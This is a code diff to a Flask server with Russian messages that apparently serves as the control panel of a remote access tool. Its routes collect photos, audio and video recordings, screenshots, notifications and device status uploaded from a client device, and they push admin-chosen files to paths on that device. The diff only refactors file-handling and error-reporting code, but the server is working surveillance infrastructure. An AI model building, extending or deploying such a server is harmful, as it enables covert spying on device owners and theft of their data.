     last_client_heartbeat = datetime.datetime.utcnow().isoformat() + "Z"
     if 'file' not in request.files:
-        # This message is for the client's next /get_command if it were to poll for this response.
-        # However, client_uploads_file_to_server expects a direct response.
-        # The return jsonify will be the direct response.
-        # command_output = "Ошибка на сервере: Файл не был отправлен клиентом (нет 'file' в request.files)."
-        return jsonify({'status': 'error', 'message': 'No file part in request'}), 400
-    
-    file = request.files['file']
-    origin_command_type = request.form.get("origin_command_type", "unknown_origin")
+        # This error should ideally be part of the response to the client's upload,
+        # but client_uploads_file_to_server doesn't use this response directly for its own output.
+        # So, we update the general command_output.
+        error_msg = "Ошибка на сервере: Файл не был отправлен клиентом (нет 'file' в request.files)."
+        if command_output == "Ожидание выполнения...": command_output = error_msg
+        return jsonify({'status': 'error', 'message': 'No file part'}), 400 # HTTP error for the request itself
 
+    file = request.files['file']
     if file.filename == '':
-        # command_output = f"Ошибка на сервере: Клиент ({origin_command_type}) отправил файл без имени."
-        return jsonify({'status': 'error', 'message': 'No selected file (empty filename)'}), 400
+        error_msg = "Ошибка на сервере: Клиент отправил файл без имени."
+        if command_output == "Ожидание выполнения...": command_output = error_msg
+        return jsonify({'status': 'error', 'message': 'No selected file'}), 400
 
     if file:
-        filename = werkzeug.utils.secure_filename(file.filename) 
+        filename = werkzeug.utils.secure_filename(file.filename)
         
-        # Ensure unique filename on server by prepending UUID or similar if collisions are a concern
-        # For simplicity, let's add a timestamp prefix for common cases like photos/videos
-        if origin_command_type in ["take_photo", "record_audio", "record_video", "screenshot"]:
-            filename = f"{int(time.time())}_{filename}"
-        
-        # Handle potential path collisions more robustly
+        # Ensure unique filenames on server
         base_name, ext = os.path.splitext(filename)
         counter = 0
-        final_filename = filename
-        filepath = os.path.join(app.config['UPLOAD_FOLDER'], final_filename)
+        # Append timestamp to avoid collision and help sorting, then counter if needed
+        # Using a more unique initial name might be better (e.g., timestamp + original name)
+        unique_filename_base = f"{base_name}_{int(datetime.datetime.utcnow().timestamp())}"
+        
+        filepath_candidate = os.path.join(app.config['UPLOAD_FOLDER'], f"{unique_filename_base}{ext}")
         
-        while os.path.exists(filepath):
+        while os.path.exists(filepath_candidate):
             counter += 1
-            final_filename = f"{base_name}_{counter}{ext}"
-            filepath = os.path.join(app.config['UPLOAD_FOLDER'], final_filename)
+            filepath_candidate = os.path.join(app.config['UPLOAD_FOLDER'], f"{unique_filename_base}_{counter}{ext}")
+        
+        final_filename = os.path.basename(filepath_candidate)
 
         try:
-            file.save(filepath)
-            # Update command_output for the admin panel for next refresh, ONLY for user-initiated downloads.
-            # For automatic uploads (photo, audio, video, screenshot), the client will send its own status.
-            if origin_command_type == "upload_to_server": # This is from "request_download_file" from panel
-                 command_output = f"Файл '{final_filename}' успешно загружен С клиента на сервер."
-            # The client_uploads_file_to_server function receives this JSON response:
-            return jsonify({'status': 'success', 'filename': final_filename, 'message': f'File {final_filename} uploaded successfully from client command {origin_command_type}.'}), 200
+            file.save(filepath_candidate)
+            # The client_uploads_file_to_server function in newfile.py will form its own success/error message.
+            # This route's response is mainly for the HTTP request itself.
+            # We can update `command_output` if the client didn't explicitly request this upload (e.g. for photo/audio)
+            origin_command_type = request.form.get("origin_command_type", "unknown")
+            if origin_command_type != "request_download_file": # If it's an auto-upload like photo, audio, video
+                 if command_output == "Ожидание выполнения...": # Don't overwrite more specific output
+                    command_output = f"Файл '{final_filename}' (тип: {origin_command_type}) успешно загружен С клиента."
+            else: # If it was 'request_download_file', the client_uploads_file_to_server will generate its own message.
+                 pass
+
+            return jsonify({'status': 'success', 'filename': final_filename, 'message': f'File {final_filename} uploaded.'})
         except Exception as e:
-            # command_output = f"Ошибка сохранения файла от клиента ({origin_command_type}): {str(e)}"
-            app.logger.error(f"Error saving file from client {origin_command_type}: {e}")
+            error_msg = f"Ошибка сохранения файла от клиента: {str(e)}"
+            if command_output == "Ожидание выполнения...": command_output = error_msg
             return jsonify({'status': 'error', 'message': str(e)}), 500
-    
-    return jsonify({'status': 'error', 'message': 'File object not valid after checks'}), 400
 
 
 @app.route('/get_status_output', methods=['GET'])
 def get_status_output_route():
     global command_output, last_client_heartbeat, current_client_path, device_status_info, notifications_history
     return jsonify({
-        'output': command_output, 
+        'output': command_output,
         'last_heartbeat': last_client_heartbeat,
         'current_path': current_client_path,
         'device_status': device_status_info,
-        'notifications': notifications_history 
+        'notifications': notifications_history
     })
 
 @app.route('/uploads_from_client/<path:filename>')
@@ -814,65 +825,66 @@ def uploaded_file_from_client(filename):
 @app.route('/list_uploaded_files')
 def list_uploaded_files_route():
     files = []
-    upload_folder = app.config['UPLOAD_FOLDER']
     try:
-        for f_name in os.listdir(upload_folder):
-            if os.path.isfile(os.path.join(upload_folder, f_name)):
-                files.append(f_name)
         # Sort files by modification time, newest first
-        files.sort(key=lambda f: os.path.getmtime(os.path.join(upload_folder, f)), reverse=True)
+        file_paths = [os.path.join(app.config['UPLOAD_FOLDER'], f) for f in os.listdir(app.config['UPLOAD_FOLDER']) if os.path.isfile(os.path.join(app.config['UPLOAD_FOLDER'], f))]
+        file_paths.sort(key=lambda f: os.path.getmtime(f), reverse=True)
+        files = [os.path.basename(f) for f in file_paths]
     except Exception as e:
         app.logger.error(f"Error listing uploaded files: {e}")
-        pass 
+        pass
     return jsonify({'files': files})
 
 
 @app.route('/upload_to_server_for_client', methods=['POST'])
 def upload_to_server_for_client_route():
-    # This route handles files uploaded FROM THE ADMIN PANEL, to be sent TO THE CLIENT device.
-    global command_output
+    global command_output # Use global command_output to provide feedback
     if 'file_to_device' not in request.files:
         return jsonify({'status': 'error', 'message': 'No file_to_device part in request'}), 400
-    
+
     file = request.files['file_to_device']
     target_path_on_device = request.form.get('target_path_on_device')
 
     if file.filename == '':
-        return jsonify({'status': 'error', 'message': 'No selected file for_device (empty filename)'}), 400
-    
+        return jsonify({'status': 'error', 'message': 'No selected file for_device'}), 400
+
     if not target_path_on_device:
         return jsonify({'status': 'error', 'message': 'Target path on device not specified'}), 400
 
     if file:
         original_filename = werkzeug.utils.secure_filename(file.filename)
-        # Use a unique name on the server to avoid collisions, client will save with original_filename
-        server_side_filename = str(uuid.uuid4()) + "_" + original_filename 
+        # Use UUID to ensure server-side filename is unique to avoid conflicts before sending
+        server_side_filename = str(uuid.uuid4()) + "_" + original_filename
         filepath_on_server = os.path.join(app.config['FILES_TO_CLIENT_FOLDER'], server_side_filename)
-        
+
         try:
             file.save(filepath_on_server)
-            # This message will be shown in the admin panel via refreshOutput
+            # Update global command_output for user feedback in the main panel
             command_output = f"Файл {original_filename} загружен на сервер (как {server_side_filename}), готов к отправке клиенту в {target_path_on_device}."
-            # This JSON is returned to the handleUploadToServer JS function
             return jsonify({
-                'status': 'success', 
-                'server_filename': server_side_filename, # The unique name on server (with UUID)
-                'original_filename': original_filename, # The name client should use
+                'status': 'success',
+                'server_filename': server_side_filename, # This is the unique name on server's 'uploads_to_client'
+                'original_filename': original_filename, # Client will use this to save the file
                 'target_path_on_device': target_path_on_device
             })
         except Exception as e:
-            app.logger.error(f"Server error saving file for client: {e}")
+            app.logger.error(f"Error saving file for client: {e}")
+            command_output = f"Ошибка сервера при сохранении файла для клиента: {str(e)}"
             return jsonify({'status': 'error', 'message': f'Server error saving file for client: {str(e)}'}), 500
-            
-    return jsonify({'status': 'error', 'message': 'File processing failed on server after checks'}), 500
+    
+    command_output = "Ошибка обработки файла на сервере для отправки клиенту."
+    return jsonify({'status': 'error', 'message': 'File processing failed on server'}), 500
 
 @app.route('/download_to_client/<filename>')
 def download_to_client(filename):
-    # This serves files FROM app.config['FILES_TO_CLIENT_FOLDER'] TO the client device
+    # Filename here is the server_side_filename (UUID_original.ext)
     return send_from_directory(app.config['FILES_TO_CLIENT_FOLDER'], filename, as_attachment=True)
 
 
 if __name__ == '__main__':
-    import logging
-    logging.basicConfig(level=logging.INFO) # Basic logging for Flask
-    app.run(host='0.0.0.0', port=7860, debug=False)
+    # For Gradio/HF Spaces, port is often managed by the platform.
+    # For local testing, you can use a specific port.
+    # app.run(host='0.0.0.0', port=7860, debug=False)
+    # HF Spaces usually injects PORT environment variable
+    port = int(os.environ.get("PORT", 7860))
+    app.run(host='0.0.0.0', port=port, debug=False)